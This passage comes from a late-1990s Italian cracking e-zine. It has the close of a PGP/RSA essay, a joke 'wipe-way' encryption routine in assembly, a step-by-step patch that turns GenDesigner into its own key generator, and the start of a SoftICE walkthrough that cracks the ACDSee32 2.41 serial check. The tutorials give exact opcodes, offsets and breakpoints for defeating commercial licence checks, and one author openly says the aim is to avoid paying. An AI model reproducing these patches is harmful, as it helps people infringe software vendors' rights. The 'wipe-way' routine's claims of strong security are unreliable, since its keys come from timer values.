dei bytes del programma (checksum). Ma anche questo potrebbe essere superato patchando il modulo MD5 per riportare un falso checksum, cio' e' possibile...e allora? cosa bisogna fare? Occorre verificare che si stia usando un copia fidata di quel programma. CONCLUSIONI TUTTO CIO' CHE HO PRESENTATO IN QUESTO TESTO SONO STATI DATI DI FATTO, STATISTICHE E PROGETTI. TRAINE TU LE TUE CONCLUSIONI. FORSE MENTRE SCRIVO QUESTO DOCUMENTO L'NSA HA TROVATO UN ALGORITMO DI FATTORIZZAZIONE POLINOMIALE (LEGGI "VELOCE). NON PER QUESTO PERO' DOBBIAMO CONSIDERARE UN SISTEMA CRITTOGRAFICO INEFFICIENTE A CAUSA DELLE NOSTRE PARANOIE. CERTO, NON POSSIAMO PARLARE DI CERTEZZE E ASSUNZIONI DI SICUREZZA SUI SISTEMI CRITTOGRAFICI. NEL CAMPO DELLA SICUREZZA INFORMATICA INFATTI, CONVIENE SEMPRE ESSERE MOLTO CAUTI. MAI SBILANCIARSI. NON E' ALTRESI' UTILE COMUNQUE ESSERE DISINFORMATI E PARANOICI FINO ALLA MORTE. Il documento e' finito, spero sia servito a qualcuno per avere una sorta di introduzione agli algoritmi del PGP, io personalmente son stato sempre incuriosito dalle ermetiche risposte tipo: si tratta di fattorizzare grandi numeri primi... senza sapere come funzionasse in pratica... allo stesso tempo pero' vi ho evitato lunghe teorizzazioni sulla fattorizzazione che richiedeva no delle conoscenze di matematica penso ben superiori alla media (ovviamente anche del sottoscritto). Purtroppo ho trattato solo della chiave RSA, nonostante che molti utilizzino invece il metodo Diffie-Hellman che ha pero' altre fondamenta, ma penso che cmq sia servito per dare un'idea dell'approccio matematico a questi algoritmi e i possibili exploit o attacchi. Le fonti principali di questo lungo doc sono: 1) [The Feasibility of Breaking PGP] by infiNity [daemon9@netcom.com / route@infonexus.com]; 2) PGP Faq; 3) linkz vari tipo questo: http://www.math.niu.edu/~rusin/known-math/index/11Y05.html Per concludere qualche saluto in ordine sparso: A tutto il gruppo RingZer0, Neu, Kill3x, Genius, aLoNg3x, +mala, alor, xerod, e poi Quequero e tutti coloro che stanno seguendo e partecipando all'UIC, un saluto a TiN_Man, a Guybrush, T3X, cod, BlackDruid, acidone, Ritz, e tutti gli altri di #crack-it, un saluto a Brigante, Nobody88 e LordFelix, ai miei amici [Jericho], _Akira, Gonzo, Veio, ^Isabel, Carletta, Dion, a tutti i partecipanti al newsgruop i.s.a.m. e poi... non me ne vengono in mente altri, forse perche' non sono importanti...naaaa scherzo !!! va beh a tutti coloro che mi conoscono :) Byez [aLT255] alt255@eudoramail.com kz.cjb.net (Crittografia) #crack-it P.S. Ci sarebbe un saluto stronzo che vorrei fare... ma tanto so che non leggera' mai questo doc e quindi lo evito va.... stronzaaaaaaaaaaaaaa !!!!!! ;))))) ...mi e' scappato... ͻ Ŀ ALGORITMO WIPE-WAY (PROTEGGIAMO I NOSTRI DATI ٺ ͼ ----------------------------------intro--------------------------------------- Salve a tutti raga, nobo mi ha chiesto di scrivere una intro per autorizzarlo ad usare per scopo di lucro i miei tute :)) okkei eccola: Io Quequero De Quequeris autorizzo nobody88 a lucrare sui miei tutes :))) Scherzi a parte tutti quanti i tute che trovate firmati a nome mio o di qualche studente della UIC sono stati pubblicati con la mia piena approvazione, ho autorizzato io il nostro caro redattore a saccheggiare il sito quindi buona lettura, happy cracking e soprattutto non mi prendo nessuna responsabilit per l'uso improprio dei vari documenti, in realt sono un bugiardo e non ho scritto nulla o se l'ho fatto ero ubriaco o comunque ero stato drogato da entit oscure e maligne, se la presenza di entit maligne non potesse essere dimostrata, allora in quel momento ero SICURAMENTE stato rapito dagli alieni oppure ero sotto shock dopo uno stupro da parte di pi modelle :))) quindi io non ho scritto nulla, se i documenti sono firmati come Quequero vuol dire che qualche nemico sicuramente della CIA mi vuole incastrare...Raga io non so niente so anal-fabeta :P se neanche lo stupro potesse essere confermato ed il rapimento da parte di alieni risultasse fallimentare allora in quel momento ero stato catturato da strani gnomi viola radioattivi, non chiedetemi di sottopormi ad ipnosi regressiva perch il mio cervello stato formattato da un topo mutante ed ora ragiono solo col BIOS...Buon divertimento con questa fantastica e-zine :) Quequero ----------------------------------intro--------------------------------------- by "Quequero" UIC's Home Page Published by Quequero In questo tute vi insegnero' a creare un algoritmo wipe-way, cosa? Non lo conoscete!!!! Home page: http://quequero.cjb.net/ E-mail: UIC@mail.usa.com UIC@bigfoot.com #uic #crack-it UIC's form Difficolta' (X)NewBies ( )Intermedio ( )Avanzato ( )Master Abbiamo tutti la necessita' di dover proteggere i nostri dati ed in particolar modo i gestori di sistemi informatici, bene adesso imparerete come proteggere i vostri dati....cancellati. ------------------------------------------------------------------------------ Algoritmo Wipe-Way (proteggiamo i nostri dati) Written by Quequero Introduzione Lo so che non conoscete gli algoritmi wipe-way ma e' ora di presentarli :) Tools usati TASM 5.0 Essay Salve a tutti, quest'oggi impareremo a creare un algoritmo di crittazione wipe-way, in realta' il termine mi e' venuto in mente stanotte ma facciamo un brevissima digressione e vediamo che tipi di algoritmi esistono. Il primo e piu' usato tipo di algoritmo e' il Two-way cioe' prendo un documento A, lo critto ed ottengo B se poi passo B sotto un filtro riottengo A e questo mi sembra abbastanza banale, critazione-decrittazione, poi c'e' un altro tipo di algoritmo il One-way cioe', prendo A, lo critto ottenendo B e poi ci serve dio per riottenere A...In sostanza una volta crittato A non riotterrete mai l'originile, a cosa serve quest'ultimo? Semplice in genere viene usato per tenere le password, in un sistema durante il login l'utente inserisce una password, questa viene crittata con l'algo One-way e confrontata con quella (lo stesso crittata) contenuta nel file /etc/passwd, ma questi algoritmi vengono usati anche in altri modi, si adottano per cancellare i file, il perche' e' presto detto, come sapete quando gettate un file nel cestino e poi lo eliminate bastano le norton utilities per recuperarlo, per questo prima di gettare un file lo si puo' crittare con un algo One-way in modo da renderlo indecifrabile anche una volta recuperato. In realta' non e' tutto rosa e fiori perche' si puo' risalire, anche se con uno sforzo immane in tempi di calcolo e tempo, al file originale, semplicemente prendendo una massa enorme di dati, crittandola con quell'algo e poi confrontandola con il file recuperato, prima o poi otterrete qualcosa di uguale ed avrete il file in perfette condizioni. Ed e' qui che Queuqero vi viene in aiuto, perche' con centomila semplici mosse :)))) creeremo un algo che critta i file in modo abbastanza casuale e poi cercheremo di capirne l'efficacia, seguitemi. Io vi presento qui sotto l'algoritmo e non tutto un intero programma, il resto lo potete adattare voi secondo le vostre esigenze, io suppongo solo che nel buffer....."buffer" siano contenuti i byte di una eventuale password o di un eventuale file, vi spieghero' approfonditamente il funzionamento dell'algoritmo alla fine: Random1 dd 5809172h Random2 dd 5371h .code START: xor ecx, ecx algo: mov eax, Random1 mul Random2 inc eax mov ebx, dword ptr[buffer+ecx] ror ebx, 4 shl ebx, 2 xor ebx, eax ror ebx, 4 shr ebx, 8 xor ebx, eax call GetTickCount xor ebx, eax mov eax, ebx mul Random1 xor ebx, eax call GetTickCount xor ebx, eax mul Random2 xor ebx, eax call GetTickCount ror eax, 3 shr eax, 4 mov edx, eax push edx call GetTickCount pop edx add eax, edx xor eax, edx xor ebx, eax mov dword ptr[buffer+ecx], ebx add ecx, 4 ;Qua ci dovete aggiungere un check per vedere le la pass o i byte nel ;buffer sono finiti jmp algo Eccomi, non vi preoccupate, vi commento tutto adess: all'inizio del codice ECX viene azzerato perche' usato come contatore, poi ci sono queste istruzioni: mov eax, Random1 mul Random2 inc eax che servono a piazzare un numero casuale in EAX, poi: mov ebx, dword ptr[buffer+ecx] ror ebx, 4 shl ebx, 2 xor ebx, eax ror ebx, 4 shr ebx, 8 xor ebx, eax vengono mossi in ebx i primi 4 byte della password o del file, vengono rotati a destra di 4, shiftati a sinistra di 2 e poi vengono xorati con il valore casuale che si trovava in EAX, il risultato viene di nuovo rotato a destra di 4 shiftato a sinistra di 8 e poi di nuovo xorato con EAX: call GetTickCount xor ebx, eax mov eax, ebx mul Random1 xor ebx, eax call GetTickCount xor ebx, eax mul Random2 xor ebx, eax call GetTickCount ror eax, 3 shr eax, 4 mov edx, eax push edx ed adesso viene chiamata l'API GetTickCount che riporta in EAX i millisecondi da quando WinPorco e' stato avviato (ed anche questa routine conferisce una casualita' notevole), i byte vengono quindi xorati con questo valore, EAX viene poi ancora randomizzata con il primo algoritmo ed i byte vengono ancora xorati con questo valore random, viene chiamata di nuovo GetTickCount e quindi i byte vengono ancora xorati con EAX che viene di nuovo randomizzata e usata per xorare ancora i byte, poi si GetTickCount viene ancora chiamato ma il risultato stavolta viene randomizzato tramite dei ror e degli shift, quello che ne esce fuori viene messo in EDX che viene poi salvato: call GetTickCount pop edx add eax, edx xor eax, edx xor ebx, eax mov dword ptr[buffer+ecx], ebx add ecx, 4 ;Qui va il test jmp algo viene chiamata per l'ultima volta GetTickCount, viene ripreso il valore che stava in EDX e viene sommato a quello riportato da GetTickCount, la somma di questi valori viene quindi xorata con EDX ed il risultato xora poi i nostri cari byte che vengono rimessi a posto, il contatore viene incrisato di una DWORD e si ricomincia il loop finche' il file non e' finito. Hehe che bello, ho appena testato questo algo ed e' davvero una meraviglia, dunque come facciamo a sapere se questo algoritmo e' sicuro? Semplicissimo, bastano due calcoli, dunque.....ci sono in gioco ben sette numeri molto casuali, dunque, considerando che possono assumere valori da 00000000 a FFFFFFFF significa che bisognerebbe indovinare un numero che varia da 0 a 4.294.967.295, ottimo ci sono circa 4 miliardi di combinazioni possibili, tenendo conto del fatto che i numeri devono essere azzeccati tutti e sette perche' l'errore anche di un solo byte avrebbe risultati disastrosi sulla decrittazione, possiamo dire che e' molto difficile indovinarli, considerando anche che ogni byte viene crittato con sette valori casuali diversi, heheheh, insomma, fatevi due calcoli e vedrete che anche crittando un file con solo tre lettere, i risultati di decrittazione sono davvero ma davvero lunghissimi, pensate solo per tranquillizzarvi che per ogni byte sono possibili 4.294.967.295 di combinazioni per sette volte, quindi elevate quel valore alla settima e vi renderete conto della sicurezza di quest'algo :))) Ciauz e buona crittazione da Quequero Mi raccomando non vi crittate l'hard disk :) Note finali Saluto tutti i miei amici di #UIC e #crack-it ciauzzzzzzzzzzzz :))))) Disclaimer Qui inserirete con questo carattere il vostro piccolo disclaimer, non e' obbligatorio pero' e' meglio per voi se c'e'. Dovete scrivere qualcosa di simile a: vorrei ricordare che il software va comprato e non rubato, dovete registrare il vostro prodotto dopo il periodo di valutazione. Non mi ritengo responsabile per eventuali danni causati al vostro computer determinati dal l'uso improprio di questo tutorial. Questo documento e' stato scritto per invogliare il consumatore a registrare legalmente i propri programmi, e non a fargli fare uso dei tantissimi file crack presenti in rete, infatti tale documento aiuta a comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare avanti per fornire ai rispettivi consumatori i migliori prodotti possibili. Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio Assembly. Capitoooooooo????? Bhe' credo di si ;)))) ------------------------------------------------------------------------------ ۰۰۰۰۰۰۰۰۰۰ ۰۰۲۰۲۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ Trasformare un programma in un generatore di chiavi ovvero come rendersi la vita piu' complicata by +Ma Certe volte la vita e' gia' abbastanza complicata cosi' com'e', altre volte invece e' di una semplicita' cosi' disarmante che non ci resta altro da fare che incasinarcela un po' per conto nostro. La stessa cosa vale per le protezioni: nonostante si sia gia' speso tanto tempo sulle protezioni del tipo nome/seriale, certa gente si ostina a salvare il seriale giusto in memoria giusto di fianco a quello sbagliato... e allora a noi non resta altro da fare che scervellarci per trovare un crack abbastanza originale. :) Personalmente, quando lavoro su una protezione, se trovo il seriale bell'e pronto in memoria mi deprimo: visto che non distribuisco crack, fare una patch mi pare inutile; il generatore di chiavi? A che mi serve, il seriale e' li' che mi guarda e mi dice "usami"... e poi la mia pigrizia non me lo permetterebbe mai! Nonostante tutto, sono riuscito a trovare un modo per rendere un po' piu' stimolante (almeno x una volta) questa gara vinta in partenza: perche', visto che sappiamo che il seriale e' li', non istruiamo il programma affinche' ce lo mostri lui stesso? La cosa piu' bella e' che noi non sappiamo ne' dovremo imparare assolutamente NULLA sull'algoritmo di codifica della chiave, eppure avremo un generatore di chiavi perfettamente funzionante! Inoltre, pur non essendo questa una gran novita', almeno fa una bella scena :) Vediamo ora come complicarci la vita... Il programma su cui ho lavorato io si chiama GenDesigner, la versione poco importa, dopotutto il programmatore e' un essere umano e non vorra' sbattersi a cambiare protezione a ogni nuova beta... Ricordate: la LORO vita il piu' delle volte e' gia' complicata cosi' com'e', per questo sono cosi' prevedibili! :) Naturalmente, siccome NOI dobbiamo complicarci la vita, VOI sceglierete un altro programma: l'unica condizione e' che, con un po' di serial fishing, siate riusciti a trovare la chiave di registrazione in memoria. (un esempio? L'editor che sto usando adesso, editplus, e' registrato a mio nome grazie a un bel serialone che ho trovato in memoria...) La prima domanda che bisogna porsi e': "Ma la chiave sta sempre a quello stesso indirizzo?". Non sempre, infatti, (anzi, praticamente mai) siamo in grado di stabilire per essa un indirizzo assoluto di memoria. Il trucco sta tutto nel riuscire a trovare all'interno del codice uno o piu' punti in cui il programma accede alla locazione di memoria in cui si e' individuata la chiave. A questo punto basta vedere come esso accede alla memoria e dove (cioe', in quale registro) e' salvato l'indirizzo del seriale. Ah... come trovare i riferimenti all'interno del codice? Semplice, un bel bpr rw (o forse e' meglio anche solo un bpr r) sulla locazione di memoria in cui e' memorizzato il seriale... oppure un po' di zen :) Nel mio caso, il codice era questo: :008CEA87 mov edx, dword ptr [ebp-18] --> woa! Il seriale giusto! :) :008CEA8A call 00804010 --> controlla se e' ok :008CEA8F jnz 008CEAC5 --> jmp pezzente_hai_sbagliato :008CEA91 mov byte ptr [008e6adc], 01 --> flag: "versione registrata" :008CEA98 mov eax, 8E6AE0 :008CEA9D mov edx, dword ptr [ebp-08] --> indirizzo username Quando si dice la fortuna, eh... :) subito prima della call che controlla la correttezza del mio seriale c'e' un bell'indirizzo che viene salvato in edx... quello del seriale giusto! Dopo un rapido controllo, vi sara' possibile verificare che quell'ebp-18 mantiene lo stesso valore anche dopo la call. Benissimo: quello e' il punto in cui aggiungeremo il codice! Perche' li'? Beh, intanto e' un punto del programma in cui il seriale giusto e' gia' stato creato (e scusate se e' poco... ;). Inoltre, subito dopo c'e' un bel salto giusto/sbagliato che possiamo utilizzare per mostrare il seriale corretto SOLO se e' stato inserito in precedenza un seriale sbagliato. Ma la domanda che dobbiamo porci veramente adesso e': come cavolo facciamo? :) Innanzitutto, decidiamo come visualizzare il seriale. Una messagebox e' forse la via piu' semplice in assoluto, in quanto richiede pochi parametri fra i quali, guarda caso, due stringhe che potremo utilizzare per il nome utente e per il seriale. La sintassi per chiamare una messagebox e' la seguente: int MessageBox( HWND hWnd, // handle della owner window LPCTSTR lpText, // indirizzo del testo della messagebox LPCTSTR lpCaption, // indirizzo del titolo della messagebox UINT uType // stile della messagebox ); Se non avete mai visto niente del genere, forse e' bene dare una studiata alle API di Windows... su Internet potete trovare delle ottime guide: da un file in formato help, molto dettagliato, di una dozzina di mega, a versioni in formato testo o ridotte (con le sole api di interesse x i cracker) che sono in genere molto piu' piccole (anche sotto i 100k). Forse dovrete anche consultare qualche tutorial di win32asm, per scoprire che il codice assembly relativo alla chiamata sara' del tipo: PUSH stile_msgbox PUSH offs_titolo_msgbox PUSH offs_testo_msgbox PUSH handle_owner_window CALL user32.messageboxa E' bene ricordare che in questo caso l'ordine delle PUSH e' esattamente opposto a quello utilizzato per passare i parametri. Oltre a questo, diamo per scontate altre due cose: innanzitutto, lo stile della messagebox sara' quello semplice, con un singolo pulsante Ok (il che significa che il valore corrispondente sara' uno zero); inoltre, imposteremo a zero anche l'handle della owner window (si', avevo detto che ci dovevamo complicare la vita, ma e' sempre meglio non esagerare!). Ne segue che il codice assembly diventa: PUSH 00 PUSH offs_titolo_msgbox PUSH offs_testo_msgbox PUSH 00 CALL user32.messageboxa Ok, ora dobbiamo solamente inserire il nome e il numero seriale rispettivamente come titolo e testo della messagebox. Poiche' essi erano memorizzati nelle locazioni di memoria puntate da [ebp-08] ed [ebp-18], non ci resta che salvare tali valori in un registro e quindi pusharlo. Niente di piu' facile, visto che abbiamo gia' il codice relativo al registro edx: :008CEA87 mov edx, dword ptr [ebp-18] --> woa! Il seriale giusto! :) e che tale registro viene comunque sovrascritto poche linee dopo: :008CEA9D mov edx, dword ptr [ebp-08] --> indirizzo username A questo punto, il codice della nostra messagebox diventa cosi': PUSH 00 MOV EDX, DWORD PPTR [EBP-08] PUSH EDX MOV EDX, DWORD PPTR [EBP-18] PUSH EDX PUSH 00 CALL user32.messageboxa Woa! La messagebox e' quasi pronta! Ora dobbiamo solo trasformare la chiamata all'API in una call a un indirizzo, in modo da poterla convertire in opcode... Per questo ci basta andare a dare un'occhiata in qualche altro punto del programma, ad esempio cercando dalla finestra delle imported functions di wdasm tutte le occorrenze di user32.messageboxa. Ad esempio * Reference To: User32.MessageBoxA, Ord:0000h | :00834c89 e84222fdff call 00806ed0 In gendes ci sono due differenti chiamate a messageboxa, in altri programmi ce ne sara' piu' probabilmente una sola: guardate l'indirizzo della funzione e riportatelo pari pari nel vostro codice per la messagebox: PUSH 00 MOV EDX, DWORD PPTR [EBP-08] PUSH EDX MOV EDX, DWORD PPTR [EBP-18] PUSH EDX PUSH 00 CALL 00806ed0 et voila'... il codice e' pronto! Ora non resta altro da fare che piazzarlo in un punto della sezione code, sperando che sia inutilizzato... a questo proposito, date un'occhiata all'inizio del disassemblato: Disassembly of File: gendes20_b36.exe Code Offset = 00000400, Code Size = 000DC600 Data Offset = 000DCA00, Data Size = 00007E00 Number of Objects = 0008 (dec), Imagebase = 00800000h Object01: CODE RVA: 00001000 Offset: 00000400 Size: 000DC600 Flags: ... Object02: DATA RVA: 000DE000 Offset: 000DCA00 Size: 00007E00 Flags: ... Object03: BSS RVA: 000E6000 Offset: 000E4800 Size: 00000000 Flags: ... Object04: .idata RVA: 00104000 Offset: 000E4800 Size: 00002A00 Flags: ... Object05: .tls RVA: 00107000 Offset: 000E7200 Size: 00000000 Flags: ... Object06: .rdata RVA: 00108000 Offset: 000E7200 Size: 00000200 Flags: ... Object07: .reloc RVA: 00109000 Offset: 000E7400 Size: 0000E000 Flags: ... Object08: .rsrc RVA: 00117000 Offset: 000F5400 Size: 00056800 Flags: ... Come potete notare, la sezione CODE ha una dimensione di DC600 byte, a partire dall'offset 400 all'interno del file. Questo significa che, guardando l'exe con un editor esadecimale, potremo vedere l'inizio della sezione successiva all'offset DCA00. Andando a controllare questo indirizzo con il mitico LIST.COM (IL tool per eccellenza, veloce e soprattutto sotto DOS :) possiamo vedere quanto segue: 0DC950 65 73 69 67 6E 65 72 2E 68 6C 70 00 00 00 00 00 0DC960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC9A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC9B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC9C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC9D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC9E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DC9F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0DCA00 32 13 8B C0 02 00 8B C0 00 8D 40 00 00 00 00 00 Wow! Che fortuna!!! Alla fine della sezione CODE abbiamo un casino di spazio libero! Tutti quelli zeri sono li' a nostra disposizione, giusto per farci inserire il codice della messagebox! Si', lo so... e' troppo facile: chi fra di voi lo desidera, puo' aggiungere una sezione all'exe e prendersi tutto lo spazio che vuole :) A questo punto, non ci resta altro da fare che inserire gli opcode giusti al posto giusto, quindi deviare l'esecuzione del programma dall'indirizzo in cui ci trovavamo (si era deciso di inserire il codice all'altezza dell'istruzione di salto, all'indirizzo 8CEA8F)... per questo dobbiamo scegliere innanzitutto un indirizzo da cui partire per inserire il codice. In realta' qualsiasi voi scegliate a partire dal secondo zero dopo la fine del codice puo' andare bene (il secondo, poiche' il primo potrebbe essere un terminatore di stringa, chi lo sa...), anche se per un vantaggio estetico molti sceglieranno 0DC960 ;) Un vantaggio collaterale di questa scelta sta nel fatto che vengono lasciati abbastanza zeri dall'ultima "istruzione" (o almeno come tale la interpreta il nostro vecchio disassemblatore) per permettere a wdasm di disassemblare il nostro codice nel modo corretto. Per questo motivo... io scegliero' 0DC962! Ehehe... no, questa volta non e' per complicarvi nuovamente la vita, fra poco capirete il motivo di questa mia scelta... nel frattempo, guardate come dovrebbe essere il codice: :008dd562 6a00 push 00 :008dd564 8b55f8 mov edx, dword ptr [ebp-08] :008dd567 52 push edx :008dd568 8b55e8 mov edx, dword ptr [ebp-18] :008dd56b 52 push edx :008dd56c 6a00 push 00 * Reference To: User32.MessageBoxA, Ord:0000h | :008dd56e e85d99f2ff call 00806ed0 :008dd573 e94d15ffff jmp 008ceac5 --> Torna alla normale esecuzione del prog Tutto e' abbastanza lineare: semplicemente dovete tener presente il fatto che la call e il salto sono relativi, quindi per stabilire l'operando esatto da aggiungere agli opcode E8 ed E9, rispettivamente: 806ed0-8dd573=fff2995d --> Girato = 5d99f2ff 8ceac5-8dd578=ffff154d --> Girato = 4d15ffff (Regola molto semplice: per trovare l'indirizzo destinazione dovete sottrarre a quest'ultimo l'indirizzo dell'istruzione successiva a quella di partenza.) A questo punto, abbiamo il codice bell'e pronto da utilizzare... non ci resta altro da fare che reindirizzare il salto dell'errore (il solito, quello che si trova all'indirizzo 8CEA8F) all'inizio della nostra porzione di codice, cioe' a 8dd562. Ma... kaz, non ci avevamo pensato! Il salto da fare e' LUNGO, quindi non possiamo aspettarci una sostituzione indolore: infatti, esso non richiede solo 2 byte ma ne vuole addirittura 5, l'esoso... come se non bastasse, il codice :008CEA8F 7534 jnz 008CEAC5 :008CEA91 C605DC6A8E0001 mov byte ptr [008e6adc], 01 e' anche abbastanza importante, perche' la seconda istruzione (quella, cioe', che noi cancelleremmo con il nuovo salto) e' quella che imposta il flag di "registrato" se il seriale e' giusto. Beh, una soluzione ci sarebbe... possiamo far eseguire il nostro salto lungo (che sara' un salto incondizionato) un paio di byte prima e inserire all'inizio del nostro codice un salto condizionato analogo a quello che cancelliamo: tale salto portera' alla fine della nostra porzione di codice, dove verra' copiata l'istruzione che abbiamo sovrascritto e, dopo di essa, un salto che ci riporti alla normale esecuzione del programma. Ehmmm... forse e' meglio che spieghi poco per volta... O:) Diamo per persa l'istruzione all'indirizzo 8CEA91: dove possiamo reinserirla? Alla fine della nostra porzione di codice, dove un salto condizionato che noi inseriremo all'inizio, all'indirizzo 8DD560 (ve l'avevo detto che c'era un motivo per la mia scelta!), ci portera' senza nessun problema. In pratica, il nostro codice sara' cosi': :008dd560 7416 je 8dd578 --> Salta se e' tutto ok, prosegui se il seriale e' sbagliato :008dd562 qui comincia il nostro codice... :008dd573 qui finisce il nostro codice... :008dd578 c605dc6a8e0001 mov byte ptr [008e6adc], 01 :008dd57f e91415ffff jmp 008cea98 Questo e' possibile in quanto il flag Z si conserva senza problemi dopo il salto incondizionato. A questo punto, non ci resta altro da fare che sostituire le due istruzioni che a partire dall'indirizzo 8cea8f con: :008cea8f e9ccea0000 jmp 008dd560 :008cea94 90 nop :008cea95 90 nop :008cea96 90 nop :008cea97 90 nop ... e il nostro programma e' stato trasformato in un generatore di chiavi. :) *************** CONCLUSIONI *************** Come avete potuto notare, l'aggiunta di codice all'interno di un programma non e' un'operazione cosi' terribile... anzi, una volta imparato il meccanismo vi sorprenderete per quanto radicali siano le modifiche che potrete fare con poco sforzo. A questo punto, sbizzarritevi: create crack piu' originali, aggiungete funzionalita' ai vostri programmi, fate in modo che le applicazioni facciano quello che volete voi! Se avete domande o suggerimenti, o se volete portare avanti qualche progetto di "modifica estrema", fatemelo sapere all'indirizzo email malattia@gmx.net, oppure venitemi a cercare su ircnet, #crack-it. ************* RINGRAZIAMENTI ************** Un ringraziamento a tutti i compagni di RingZero che contribuiscono alla scena cracking italiana (e, presto, mondiale) come mai avrei sperato. Un grazie va in particolare a Neuro, senza l'appoggio del quale questo tute probabilmente non sarebbe stato neanche scritto Pusillus, che ha sopportato i miei deliri sull'aggiunta di sezioni alle dll di winamp ;)) Genius, che mi ha strabiliato con la piu' bella realizzazione possibile di un progetto che, se fosse dipeso solo dal sottoscritto, sarebbe rimasto irrealizzato ancora per molti anni :) xERHOD, che in poco tempo ci ha aiutato piu' di quanto io abbia fatto in anni con RingZero e HCU messi assieme... resta sempre cosi'! Chillecs e Csoa, perche' esistono (e scusate se e' poco ;) Babbo Natale, perche' mi porta dei regali tutti gli anni Tutti i ragazzi di #crack-it che mi fanno sempre passare delle ore divertenti ... e mi fanno spendere miliardi di bolletta :) @1999, .+MaLaTTiA. ͻ Ŀ ACDSEE32 2.41 CRACKING ٺ ͼ Autore: cod Oggetto: ACDSee32 2.41 Difficolt: Media (seriale rompipalle!) Musica ascoltata: Marilyn Manson - Mechanical Animals L'oggetto di questo articolo come avrete gi letto in alto ACDSee32. Tutto il codice che sar visualizzato nell'articolo della versione 2.41, quindi qualora sia uscita una nuova versione di questo software gli indirizzi qui inseriti saranno tutti errati. Ma comunque la routine che controlla il seriale sempre la stessa. ACDSee un eccellente software per la visualizzazione di file grafici. Avviamo ACDSee incominciamo ad usarlo... per un p di tempo (sino a 30g dopo l'installazione) vi ricorder di tanto in tanto che il software non registrato.. superati i 30g questo ricordo sar pi visibile... diciamo 1 volta ogni 20-30 immagini visualizzate... qui la cosa diventa un p fastidiosa... quindi andiamo col nostro mouse sul pulsante Register now del NAG Screen che comparir. Prima per di procedere diamo un p lo sguardo all'help per vedere quanto ci costa questo software.... $ 40 da spedire negli USA (e getta) nel miglior modo che crediamo... io credo che il migliore sia tenersi i $ 40 e starsene buoni a casa. PREMETTO INNANZITUTTO CHE NON MI ASSUMO NESSUNA RESPONSABILITA' SULL'USO CHE FARETE DI QUESTO ARTICOLO... NE PER MANCATI PROFITTI CAUSATI ALL'ACD System... L'ideale sarebbe scrivere un bel generatore di chiavi... ma dobbiamo sapere che la nostra ACDSystem ha avuto la bella idea di controllare che i codici inseriti non siano di versioni precedenti... il che significa che ad ogni nuova versione bisogner fare un nuovo generatore! Quindi scordatevelo!! Di cosa abbiamo bisogno: SoftICE 3.xx, ma personalmente sto usando la 4.0 Un disassemblatore... W32 Disassembler 8.93 va pi che bene.. ma sinceramente preferisco IDA 3.8 dato che pi utile... infatti tutto il codice che riporter in seguito sar ricavato tramite questo disassemblatore. Un editor esadecimale... Hacker's View 6.xx va benissimo! ACDSee 2.41! L'avete si o no ? Se si va bene se no ve lo scaricate da www.acdsee.com o senn lo prendete in edicola in qualsiasi giornale! Ora inseriamo nel modulo di registrazione il nostro nome e il nostro numero seriale.... io personalmente ho usato Antonio e n. s. 666 Voi metteteci quello che vi pare... clickiamo sul pulsante OK e cosa ci dice? Codice errato... cazzo... ma se vi dovesse dire codice esatto avete un culo talmente enorme che manco ve lo immaginate!!! Ora premiamo CTRL+D e ci compare il nostro bel SoftICE e settiamo un bel breakpoint sulla funzione GetDlgItemTextA... nel caso vi dice che questo simbolo non definito dovete uscire da Windows e modificare WINICE.DAT inserendo le righe EXP=nomepercorso\nomefile.dll... ma in ogni caso troverete quelle che vi interessano (KERNEL32.DLL USER32.DLL e chi ne ha ne metta) semplicemente disabilitate con un ; davanti... quindi toglietelo! Clickate di nuovo sul pulsante OK e vi trovere magnificamente dentro SoftICE, premete il tasto F12 evi ritroverete nel codice di ACDSee32... Ora rimuovete i breakpoint con BC * e procedete STEP TO STEP. Proseguendo avanti nel programma noteremo altre CALL al KERNEL tra cui qualcuna nel registro... non fateci caso e state attenti a non cadere nella trappola.... infatti una di queste CALL sar quella fatale! Giungerete in un punto del programma in cui sar fatta una CALL alla locazione 458160... qui incomincia la parte pi bella.... premete F8 e steppate dentro la funzione. Ecco un p di codice assembler per chiarirvi le idee: 00458160 sub_458160 proc near 00458160 00458160 var_24 = dword ptr -24h ; Variabili usate dal 00458160 var_20 = byte ptr -20h ; programma. 00458160 arg_0 = dword ptr 4 ; Nome 00458160 arg_4 = dword ptr 8 ; Seriale 00458160 arg_8 = dword ptr 0Ch ; ?? BOOOOO 00458160 00458160 sub esp, 24h ; Non fateci caso.. sono 00458163 push ebx ; per garantire i passaggi 00458164 push ebp ; parametri! 00458165 push esi ; 00458166 mov esi, [esp+30h+arg_0] ; ESI -> Punta al nome 0045816A push edi ; Salva EDI 0045816B mov edi, ecx ; ECX = 50003A 0045816D push esi ; ESI -> Nome 0045816E mov [esp+38h+var_24], edi ; Salva in VAR_24 ECX Ecco qui abbiamo un'altra CALL su cui porre la nostra attenzione... infatti se andrete a fare il trace di questa funzione noterete che il programma controlla il vostro nome alla ricerca di eventuali spazi... fino a che non incontra la fine della stringa... e successivamente far un controllo sulla lunghezza del nome... e ritorner il valore 0 nel caso il nome inserito sia minore di 5 mentre ritorner 1 se uguale a 5 o maggiore! 00458172 call sub_459DB0 ; CheckName(ESI) 00458177 add esp, 4 ; 0045817A test eax, eax ; Se EAX != 0 0045817C jnz short loc_45818A ; salta a 45818A 0045817E loc_45817E: ; Qui termina con 0 ovvero errore! ........ ; 00458187 ; Usate nomi da 5 o pi lettere! 0045818A loc_45818A: ; EAX assume l'indirizzo 0045818A lea eax, [esp+34h+var_20] ; di var_20 0045818E push 1 ; Una variabile che sar 00458190 push eax ; a 1 00458191 push esi ; ESI -> Nome 00458192 call sub_45A0F0 ; Converte il nome(vedi 